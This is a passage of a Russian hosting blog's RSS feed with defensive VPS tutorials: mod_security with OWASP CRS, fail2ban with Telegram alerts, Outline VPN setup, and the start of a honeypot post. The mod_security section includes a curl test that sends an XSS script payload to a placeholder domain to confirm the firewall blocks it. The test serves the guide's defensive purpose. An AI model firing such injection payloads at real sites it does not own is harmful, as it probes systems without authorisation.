<pre class="wp-block-code"><code>sudo nano /etc/modsecurity/modsecurity.conf-recommended
</code></pre>



<p class="wp-block-paragraph">Находим строку:</p>



<pre class="wp-block-code"><code>SecRuleEngine DetectionOnly
</code></pre>



<p class="wp-block-paragraph">И меняем на:</p>



<pre class="wp-block-code"><code>SecRuleEngine On
</code></pre>



<p class="wp-block-paragraph">Затем сохраняем файл как <code>modsecurity.conf</code>:</p>



<pre class="wp-block-code"><code>sudo cp /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Подключаем базовые правила OWASP CRS</h2>



<p class="wp-block-paragraph"><strong>OWASP ModSecurity Core Rule Set (CRS)</strong> — это набор уже готовых правил, заточенных под реальные угрозы. Подключить их — это must-have:</p>



<pre class="wp-block-code"><code>cd /usr/share
sudo git clone <a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>://github.com/coreruleset/coreruleset.git
cd coreruleset
sudo cp crs-setup.conf.example crs-setup.conf
sudo cp -r rules /etc/modsecurity/
sudo cp crs-setup.conf /etc/modsecurity/
</code></pre>



<p class="wp-block-paragraph">Теперь подключаем эти правила в Apache:</p>



<pre class="wp-block-code"><code>sudo nano /etc/apache2/mods-enabled/security2.conf
</code></pre>



<p class="wp-block-paragraph">Добавляем в конец:</p>



<pre class="wp-block-code"><code>IncludeOptional /etc/modsecurity/crs-setup.conf
IncludeOptional /etc/modsecurity/rules/*.conf
</code></pre>



<p class="wp-block-paragraph">Сохраняем и перезапускаем Apache:</p>



<pre class="wp-block-code"><code>sudo systemctl restart apache2
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Проверка работы</h2>



<p class="wp-block-paragraph">Самый <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a> способ — попробовать с curl:</p>



<pre class="wp-block-code"><code>curl http://yourdomain.com/?param=%3Cscript%3Ealert(1)%3C/script%3E
</code></pre>



<p class="wp-block-paragraph">Если mod_security работает, вы получите ошибку 403, а в логе <code>/var/log/apache2/modsec_audit.log</code> появится запись о блокировке XSS-инъекции.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Где хранятся логи?</h2>



<p class="wp-block-paragraph">По умолчанию:</p>



<ul class="wp-block-list">
<li><code>/var/log/apache2/modsec_audit.log</code> — полные логи по событиям.</li>



<li><code>/var/log/apache2/error.log</code> — общие ошибки Apache, иногда срабатывает сюда.</li>
</ul>



<p class="wp-block-paragraph">Очень полезно поставить tail в реальном времени:</p>



<pre class="wp-block-code"><code>sudo tail -f /var/log/apache2/modsec_audit.log
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Фильтрация по IP и whitelist</h2>



<p class="wp-block-paragraph">Если вы заметили, что mod_security слишком агрессивен (например, блокирует ваш <a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">API</a>), можно добавить исключения. Пример исключения по URI:</p>



<pre class="wp-block-code"><code>SecRule REQUEST_URI "@beginsWith /api" "id:1234,phase:1,nolog,allow,ctl:ruleEngine=Off"
</code></pre>



<p class="wp-block-paragraph">Можно добавить whitelist по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>:</p>



<pre class="wp-block-code"><code>SecRule REMOTE_ADDR "^123\.123\.123\.123$" "id:1000,phase:1,nolog,allow"
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Советы по производительности</h2>



<ul class="wp-block-list">
<li>Не включайте слишком много правил, особенно если трафик большой.</li>



<li>Используйте <code>ctl:ruleRemoveById</code> для отключения конкретных правил.</li>



<li>Храните копии конфигов — особенно <code>modsecurity.conf</code> и <code>crs-setup.conf</code>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Итого&#8230;</h2>



<p class="wp-block-paragraph">mod_security — это бесплатный и мощный инструмент для фильтрации веб-трафика. Я на своём VPS теперь чувствую себя гораздо спокойнее: каждый входящий запрос фильтруется, попытки атак логируются, а лишний шум блокируется ещё до того, как дойдёт до PHP.</p>



<p class="wp-block-paragraph">Если вы ещё не ставили его на свой сервер — очень советую. Это одна из тех вещей, которую ты один раз настраиваешь, а потом она спасает тебе часы и нервы.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-mod_security-dlya-apache-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Настройка fail2ban + Telegram alerts на VPS: защита и уведомления в одном флаконе</title>
		<link>https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/</link>
					<comments>https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Mon, 08 Sep 2025 11:59:04 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4369</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/">Настройка fail2ban + Telegram alerts на VPS: защита и уведомления в одном флаконе</a>">%POSTTITLE%</a></p>
<p>Когда ты работаешь с публичным VPS, особенно если он принимает SSH-подключения или обслуживает веб-приложения, важно быть начеку. Брутфорс, попытки подбора паролей, подозрительные запросы — всё это происходит чаще, чем хотелось бы. Один из самых простых и надёжных способов защитить сервер от подобных атак — это fail2ban. А если хочешь получать алерты напрямую в Telegram, можно [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/">Настройка fail2ban + Telegram alerts на VPS: защита и уведомления в одном флаконе</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">Когда ты работаешь с публичным <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, особенно если он принимает <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>-подключения или обслуживает веб-приложения, важно быть начеку. <a href="https://cloudvps.by/community/docs/glossarij/terminy/brute-force-attack/" data-internallinksmanager029f6b8e52c="275" title="Brute Force Attack (Брутфорс-атака)">Брутфорс</a>, попытки подбора паролей, подозрительные запросы — всё это происходит чаще, чем хотелось бы. Один из самых простых и надёжных способов защитить сервер от подобных атак — это <strong>fail2ban</strong>. А если хочешь получать алерты напрямую в <strong>Telegram</strong>, можно всё связать через webhook. Я так и сделала — и делюсь пошаговой инструкцией.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что такое fail2ban и зачем он нужен</h2>



<p class="wp-block-paragraph"><strong>fail2ban</strong> — это инструмент, который мониторит логи (например, <code>/var/log/auth.log</code>) и банит <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>-адреса, замеченные в подозрительной активности. Например, если кто-то несколько раз подряд неправильно ввёл пароль при попытке входа по SSH — fail2ban автоматически добавит этот IP в <code>iptables</code> или <code>nftables</code> и заблокирует доступ.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f525.png" alt="🔥" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Ключевые возможности:</p>



<ul class="wp-block-list">
<li>защита SSH, nginx, postfix, dovecot и других сервисов;</li>



<li>гибкая настройка <code>bantime</code>, <code>findtime</code>, <code>maxretry</code>;</li>



<li>whitelist IP;</li>



<li>интеграция с Telegram, email и другими способами уведомлений.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Установка fail2ban на Ubuntu / Debian</h2>



<p class="wp-block-paragraph">На моём сервере стоит Ubuntu 22.04, но аналогично работает и на Debian:</p>



<pre class="wp-block-code"><code>sudo apt update
sudo apt install fail2ban -y
</code></pre>



<p class="wp-block-paragraph">После установки он уже готов к работе — по умолчанию включена защита SSH.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Базовая настройка <code>/etc/fail2ban/jail.local</code></h2>



<p class="wp-block-paragraph">Создай файл <code>jail.local</code>, чтобы не трогать оригинальный <code>jail.conf</code>:</p>



<pre class="wp-block-code"><code>sudo nano /etc/fail2ban/jail.local
</code></pre>



<p class="wp-block-paragraph">Добавим базовые настройки:</p>



<pre class="wp-block-code"><code>&#91;DEFAULT]
bantime = 1h
findtime = 10m
maxretry = 5
ignoreip = 127.0.0.1/8 ::1</code></pre>


<p>[sshd]</p>



<p class="wp-block-paragraph">enabled = true <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">port</a> = ssh logpath = %(sshd_log)s backend = systemd</p>



<p class="wp-block-paragraph">Параметры:</p>



<ul class="wp-block-list">
<li><code>bantime</code> — сколько длится бан (можно <code>bantime = -1</code> для вечного);</li>



<li><code>findtime</code> — за какой период считаются попытки;</li>



<li><code>maxretry</code> — сколько попыток до блокировки;</li>



<li><code>ignoreip</code> — IP, которые <strong>никогда</strong> не будут забанены (добавь свой домашний IP сюда!).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Отправка алертов в Telegram</h2>



<p class="wp-block-paragraph">Теперь к самому интересному — <strong>уведомления в Telegram</strong>. Удобно получать сообщение сразу, как кто-то стучится в SSH или на сайт.</p>



<h3 class="wp-block-heading">1. Создай Telegram-бота</h3>



<p class="wp-block-paragraph">Зайди в Telegram и найди <code>@BotFather</code>. Введи:</p>



<pre class="wp-block-code"><code>/newbot
</code></pre>



<p class="wp-block-paragraph">Дай имя и username (должен оканчиваться на <code>bot</code>), получишь <strong>токен</strong> — сохрани его.</p>



<h3 class="wp-block-heading">2. Получи свой Chat ID</h3>



<p class="wp-block-paragraph">Напиши что-нибудь своему боту и открой в браузере:</p>



<pre class="wp-block-code"><code><a href="https://cloudvps.by/community/docs/glossarij/terminy/https/" data-internallinksmanager029f6b8e52c="221" title="HTTPS (Hyper Text Transfer Protocol Secure)">https</a>:&#47;&#47;<a href="https://cloudvps.by/community/docs/glossarij/terminy/api/" data-internallinksmanager029f6b8e52c="226" title="API (Application Programming Interface)">api</a>.telegram.org/bot&lt;ТВОЙ_ТОКЕН&gt;/getUpdates
</code></pre>



<p class="wp-block-paragraph">Там будет <code>chat.id</code> — это твой ID, куда слать алерты.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Создание action-скрипта для fail2ban</h2>



<p class="wp-block-paragraph">Создай новый action-файл, например:</p>



<pre class="wp-block-code"><code>sudo nano /etc/fail2ban/action.d/telegram-ban.conf
</code></pre>



<p class="wp-block-paragraph">Вставь:</p>



<pre class="wp-block-code"><code>&#91;Definition]
actionstart = echo "fail2ban started on &lt;hostname&gt;" | /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="fail2ban started on &lt;hostname&gt;"
actionstop = echo "fail2ban stopped" | /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="fail2ban stopped"
actionban = /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="&#x1f6a8; IP &lt;ip&gt; заблокирован fail2ban на &lt;hostname&gt;"
actionunban = /usr/bin/curl -s -X POST https://api.telegram.org/bot&lt;TOKEN&gt;/sendMessage -d chat_id=&lt;CHAT_ID&gt; -d text="&#x2139; IP &lt;ip&gt; разблокирован fail2ban"
</code></pre>



<p class="wp-block-paragraph">Замените <code>&lt;TOKEN&gt;</code> и <code>&lt;CHAT_ID&gt;</code> на свои значения. Не забудь дать права на выполнение:</p>



<pre class="wp-block-code"><code>sudo chmod +x /etc/fail2ban/action.d/telegram-ban.conf
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Подключение action в jail.local</h2>



<p class="wp-block-paragraph">Допиши в <code>[sshd]</code>:</p>



<pre class="wp-block-code"><code>action = telegram-ban
</code></pre>



<p class="wp-block-paragraph">Теперь после каждой блокировки IP ты получаешь Telegram-оповещение с IP, датой и типом события.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Полезные команды для fail2ban</h2>



<p class="wp-block-paragraph">Чтобы не забыть, вот краткий справочник:</p>



<ul class="wp-block-list">
<li>Проверить статус:</li>
</ul>



<pre class="wp-block-code"><code>sudo fail2ban-client status
</code></pre>



<ul class="wp-block-list">
<li>Посмотреть статус конкретного jail (например, sshd):</li>
</ul>



<pre class="wp-block-code"><code>sudo fail2ban-client status sshd
</code></pre>



<ul class="wp-block-list">
<li>Разблокировать IP:</li>
</ul>



<pre class="wp-block-code"><code>sudo fail2ban-client set sshd unbanip 123.123.123.123
</code></pre>



<ul class="wp-block-list">
<li>Перезапустить fail2ban:</li>
</ul>



<pre class="wp-block-code"><code>sudo systemctl restart fail2ban
</code></pre>



<ul class="wp-block-list">
<li>Просмотреть логи:</li>
</ul>



<pre class="wp-block-code"><code>sudo journalctl -u fail2ban
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Получается, что&#8230;</h2>



<p class="wp-block-paragraph">интеграция <strong>fail2ban</strong> с <strong>Telegram</strong> — это не просто красиво, а действительно полезно. Ты мгновенно узнаешь о попытках взлома и можешь оперативно реагировать. Особенно важно, если на сервере хостится важный проект.</p>



<p class="wp-block-paragraph">Эта связка особенно хороша на <strong>VPS</strong>, где нет внешней панели безопасности — ты сам себе и админ, и охранник, и монитор. Поэтому стоит настроить fail2ban с Telegram alert-ами один раз и спать спокойнее.</p>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cloudvps.by/community/nastrojka-fail2ban-telegram-alerts-na-vps/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Установка Outline VPN на VPS: простой способ защитить трафик</title>
		<link>https://cloudvps.by/community/ustanovka-outline-vpn-na-vps/</link>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Fri, 05 Sep 2025 17:07:37 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4365</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/ustanovka-outline-vpn-na-vps/">Установка Outline VPN на VPS: простой способ защитить трафик</a>">%POSTTITLE%</a></p>
<p>В какой-то момент я поняла, что устала объяснять друзьям, чем отличается обычный VPN от решений вроде Outline. Это как раз тот случай, когда всё работает «из коробки», а при этом ты всё равно получаешь полный контроль. Поэтому я решила рассказать, как установить Outline VPN на VPS — и почему это может быть лучшим решением для [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/ustanovka-outline-vpn-na-vps/">Установка Outline VPN на VPS: простой способ защитить трафик</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">В какой-то момент я поняла, что устала объяснять друзьям, чем отличается обычный <a href="https://cloudvps.by/community/docs/glossarij/terminy/vpn/" data-internallinksmanager029f6b8e52c="211" title="VPN (Virtual Private Network)">VPN</a> от решений вроде Outline. Это как раз тот случай, когда всё работает «из коробки», а при этом ты всё равно получаешь полный контроль. Поэтому я решила рассказать, как установить Outline VPN на <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a> — и почему это может быть лучшим решением для ваших задач.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Зачем нужен Outline VPN</h2>



<p class="wp-block-paragraph">Outline — это open source‑проект от Jigsaw (входит в Google). Его цель — сделать настройку VPN настолько <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a>, чтобы даже новички справились. Основная особенность Outline VPN — он использует протокол <strong>Shadowsocks</strong>, который работает быстрее и обходится с фильтрами аккуратнее, чем <a href="https://cloudvps.by/community/docs/glossarij/terminy/openvpn/" data-internallinksmanager029f6b8e52c="300" title="OpenVPN">OpenVPN</a> или даже <a href="https://cloudvps.by/community/docs/glossarij/terminy/wireguard/" data-internallinksmanager029f6b8e52c="301" title="WireGuard">WireGuard</a> в некоторых ситуациях.</p>



<p class="wp-block-paragraph">Вот основные причины, по которым я выбрала Outline:</p>



<ul class="wp-block-list">
<li><strong>Минимальная настройка сервера</strong> — всё делается через Outline Manager.</li>



<li><strong>Клиенты под Windows, Android, iOS, macOS и Linux</strong>.</li>



<li><strong>Отдельная консоль для управления ключами доступа</strong> (можно удалять, добавлять и ограничивать пользователей).</li>



<li><strong>Совместимость с VPS на Ubuntu 18.04, 20.04, 22.04 и других версиях</strong>.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Что понадобится для установки Outline VPN на VPS</h2>



<p class="wp-block-paragraph">Вот что нам нужно на старте:</p>



<ul class="wp-block-list">
<li>VPS-сервер (минимум 512 МБ ОЗУ, 1 CPU). Лучше выбрать хостинг с выделенным <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>, например, на CloudVPS.</li>



<li>Ubuntu 20.04 или 22.04.</li>



<li><a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a> по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a>.</li>



<li>Терпение — чуть меньше, чем на установку OpenVPN <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f604.png" alt="😄" class="wp-smiley" style="height: 1em; max-height: 1em;" /></li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 1. Установка Outline Manager</h2>



<p class="wp-block-paragraph">На клиентском компьютере (например, ноутбуке под Windows или macOS) нужно установить Outline Manager — это десктопное приложение, которое подключается к вашему VPS и устанавливает Outline Server.</p>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Скачать можно отсюда: <a href="https://getoutline.org/" target="_blank" rel="noopener">https://getoutline.org/</a></p>



<p class="wp-block-paragraph">После запуска Outline Manager нажимаем <strong>“Set up Outline Server” → “DigitalOcean or your own server” → “I have my own server”</strong>.</p>



<p class="wp-block-paragraph">Вводим:</p>



<ul class="wp-block-list">
<li>IP вашего VPS</li>



<li>root-пароль или приватный SSH-ключ</li>
</ul>



<p class="wp-block-paragraph">Программа сама подключится к серверу и выполнит автоматическую установку Outline VPN. Достаточно подождать 1-2 минуты.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 2. Что делает скрипт установки</h2>



<p class="wp-block-paragraph">Outline Manager выполняет следующие действия:</p>



<ol class="wp-block-list">
<li>Устанавливает <strong><a href="https://cloudvps.by/community/docs/glossarij/terminy/docker/" data-internallinksmanager029f6b8e52c="258" title="Docker">Docker</a></strong> (если его нет).</li>



<li>Запускает контейнер с Outline Server.</li>



<li>Открывает нужные порты (1984, 1024–65535 <a href="https://cloudvps.by/community/docs/glossarij/terminy/tcp/" data-internallinksmanager029f6b8e52c="222" title="TCP (Transmission Control Protocol)">TCP</a>/<a href="https://cloudvps.by/community/docs/glossarij/terminy/udp/" data-internallinksmanager029f6b8e52c="223" title="UDP (User Datagram Protocol)">UDP</a>).</li>



<li>Создаёт первый <strong>ключ доступа</strong> (Outline Access Key) — это специальная ссылка, которую можно использовать для подключения к серверу.</li>
</ol>



<p class="wp-block-paragraph">Пример ссылки:</p>



<pre class="wp-block-code"><code>ss://Y2hhY2hhMjAtaWV0ZjowZGVhZ...@203.0.113.123:12345/?outline=1
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Шаг 3. Подключение клиента Outline VPN</h2>



<p class="wp-block-paragraph">Теперь, когда сервер настроен, нам нужно установить <strong>Outline Client</strong> на устройстве, с которого вы хотите подключаться (телефон, ноутбук и т. д.).</p>



<p class="wp-block-paragraph">Скачать клиент можно отсюда:<br><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f517.png" alt="🔗" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <a href="https://getoutline.org/en/home" target="_blank" rel="noopener">https://getoutline.org/en/home</a></p>



<p class="wp-block-paragraph">Открываем клиент, вставляем ключ (он будет скопирован автоматически после установки сервера) и нажимаем <strong>Connect</strong>. Всё!</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Частые вопросы и проблемы</h2>



<h3 class="wp-block-heading">Как изменить порт сервера Outline?</h3>



<p class="wp-block-paragraph">Для этого придётся зайти в Docker-контейнер:</p>



<pre class="wp-block-code"><code>docker exec -it shadowbox bash
</code></pre>



<p class="wp-block-paragraph">А затем — изменить конфигурацию вручную. Но проще пересоздать сервер с новым портом в Outline Manager.</p>



<h3 class="wp-block-heading">Что делать, если Outline VPN не работает?</h3>



<ul class="wp-block-list">
<li>Убедитесь, что порты <strong>1984</strong> и <strong>1024–65535</strong> открыты в фаерволе.</li>



<li>Попробуйте перезапустить контейнер:</li>
</ul>



<pre class="wp-block-code"><code>docker restart shadowbox
</code></pre>



<h3 class="wp-block-heading">Подходит ли Outline VPN для обхода блокировок?</h3>



<p class="wp-block-paragraph">Да, и именно в этом его сила. Протокол Shadowsocks хорошо маскируется под обычный трафик. Особенно эффективен при использовании с IP-адресами из Европы (например, Германия или Финляндия).</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Полезные команды</h2>



<p class="wp-block-paragraph">Проверка, что контейнер запущен:</p>



<pre class="wp-block-code"><code>docker ps
</code></pre>



<p class="wp-block-paragraph">Перезапуск сервера:</p>



<pre class="wp-block-code"><code>docker restart shadowbox
</code></pre>



<p class="wp-block-paragraph">Просмотр логов:</p>



<pre class="wp-block-code"><code>docker logs shadowbox
</code></pre>



<p class="wp-block-paragraph">Удаление сервера Outline:</p>



<pre class="wp-block-code"><code>docker stop shadowbox &amp;&amp; docker rm shadowbox
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Таблица: сравнение Outline и других VPN</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Характеристика</th><th>Outline VPN</th><th>OpenVPN</th><th>WireGuard</th></tr></thead><tbody><tr><td>Установка</td><td>Очень простая</td><td>Средняя</td><td>Продвинутая</td></tr><tr><td>Клиенты</td><td>Все платформы</td><td>Все платформы</td><td>Все платформы</td></tr><tr><td>Протокол</td><td>Shadowsocks</td><td>OpenVPN</td><td>WireGuard</td></tr><tr><td>Скорость</td><td>Высокая</td><td>Средняя</td><td>Очень высокая</td></tr><tr><td>Маскировка трафика</td><td>Хорошая</td><td>Плохая</td><td>Средняя</td></tr><tr><td>Управление доступом</td><td>Через GUI</td><td>Вручную</td><td>Вручную</td></tr></tbody></table></figure>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph"></p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Создание honeypot-сервера на VPS: ловим злоумышленников</title>
		<link>https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/</link>
					<comments>https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/#respond</comments>
		
		<dc:creator><![CDATA[Марина Кольцова]]></dc:creator>
		<pubDate>Thu, 04 Sep 2025 13:14:40 +0000</pubDate>
				<category><![CDATA[Безопасность]]></category>
		<guid isPermaLink="false">https://cloudvps.by/community/?p=4361</guid>

					<description><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/">Создание honeypot-сервера на VPS: ловим злоумышленников</a>">%POSTTITLE%</a></p>
<p>В один из вечеров, когда я проверяла логи на своём VPS, я заметила странную активность: десятки попыток входа по SSH с разных IP. Это был не targeted-атак, а обычный background noise интернета — боты сканируют IP в поисках открытых дверей. Тогда я решила: &#8220;А почему бы не посмотреть, что они вообще делают, если им дать [&#8230;]</p>
<p>Источник: <a href="<a rel="nofollow" href="https://cloudvps.by/community">Community</a>">%BLOGTITLE%</a>. Все права защищены.</p>
]]></description>
										<content:encoded><![CDATA[<p>Читайте эту новость на нашем сайте: <a href="<a rel="nofollow" href="https://cloudvps.by/community/sozdanie-honeypot-servera-na-vps/">Создание honeypot-сервера на VPS: ловим злоумышленников</a>">%POSTTITLE%</a></p>

<p class="wp-block-paragraph">В один из вечеров, когда я проверяла логи на своём <a href="https://cloudvps.by/servers/vps/vps_server.php" data-internallinksmanager029f6b8e52c="4" title="VPS хостинг">VPS</a>, я заметила странную активность: десятки попыток входа по <a href="https://cloudvps.by/community/docs/glossarij/terminy/ssh/" data-internallinksmanager029f6b8e52c="197" title="SSH (Secure Shell)">SSH</a> с разных <a href="https://cloudvps.by/community/docs/glossarij/terminy/ip-adres/" data-internallinksmanager029f6b8e52c="204" title="IP-адрес (Internet Protocol)">IP</a>. Это был не targeted-атак, а обычный background noise интернета — боты сканируют IP в поисках открытых дверей. Тогда я решила: &#8220;А почему бы не посмотреть, <strong>что они вообще делают</strong>, если им дать иллюзию доступа?&#8221; И так началась моя история с <a href="https://cloudvps.by/community/docs/glossarij/terminy/honeypot/" data-internallinksmanager029f6b8e52c="277" title="Honeypot (Ханипот — ловушка для киберпреступников)">honeypot</a>-сервером на VPS.</p>



<h2 class="wp-block-heading">Что такое honeypot и зачем он нужен?</h2>



<p class="wp-block-paragraph"><strong>Honeypot (ханипот)</strong> — это специальный сервер или сервис, который имитирует уязвимую систему, чтобы привлечь злоумышленников. Это как ловушка, которая вместо того, чтобы прятаться, наоборот — говорит: &#8220;Эй, зайди, здесь открыто&#8221;. Цель — не допустить атакующего в настоящую инфраструктуру, а <strong>наблюдать, как он себя поведёт</strong>, какие команды вводит, что ищет, какие эксплойты применяет.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Honeypot это не только для фана. Он может:</p>



<ul class="wp-block-list">
<li>Помочь выявить типичные методы атаки</li>



<li>Собрать данные для защиты основной инфраструктуры</li>



<li>Повысить навыки анализа инцидентов</li>



<li>В ряде случаев — отпугнуть неопытных злоумышленников</li>
</ul>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Почему я выбрала VPS для honeypot</h2>



<p class="wp-block-paragraph">Настройка honeypot на домашнем сервере — занятие интересное, но ограниченное: IP не всегда белый, провайдер может заблокировать <a href="https://cloudvps.by/community/docs/glossarij/terminy/port/" data-internallinksmanager029f6b8e52c="225" title="Port (Порт )">порт</a> 22. А вот VPS — идеальный кандидат:</p>



<ul class="wp-block-list">
<li>Статичный белый IP</li>



<li>Полный <a href="https://cloudvps.by/community/docs/glossarij/terminy/root-dostup/" data-internallinksmanager029f6b8e52c="234" title="Root-доступ">root-доступ</a></li>



<li>Можно легко изолировать сервер от продакшена</li>



<li>Стоит недорого (особенно если взять <strong>самый <a href="https://cloudvps.by/community/docs/glossarij/terminy/downtime/" data-internallinksmanager029f6b8e52c="233" title="Downtime (Время простоя)">простой</a> <a href="https://cloudvps.by/community/docs/glossarij/terminy/vds/" data-internallinksmanager029f6b8e52c="196" title="VDS (Virtual Dedicated Server)">VDS</a></strong>, например, как у Timeweb или CloudVPS)</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">Выбор инструмента: Cowrie или T-Pot?</h2>



<p class="wp-block-paragraph">Для начала я рассматривала разные варианты honeypot’ов. Самые популярные на сегодня:</p>



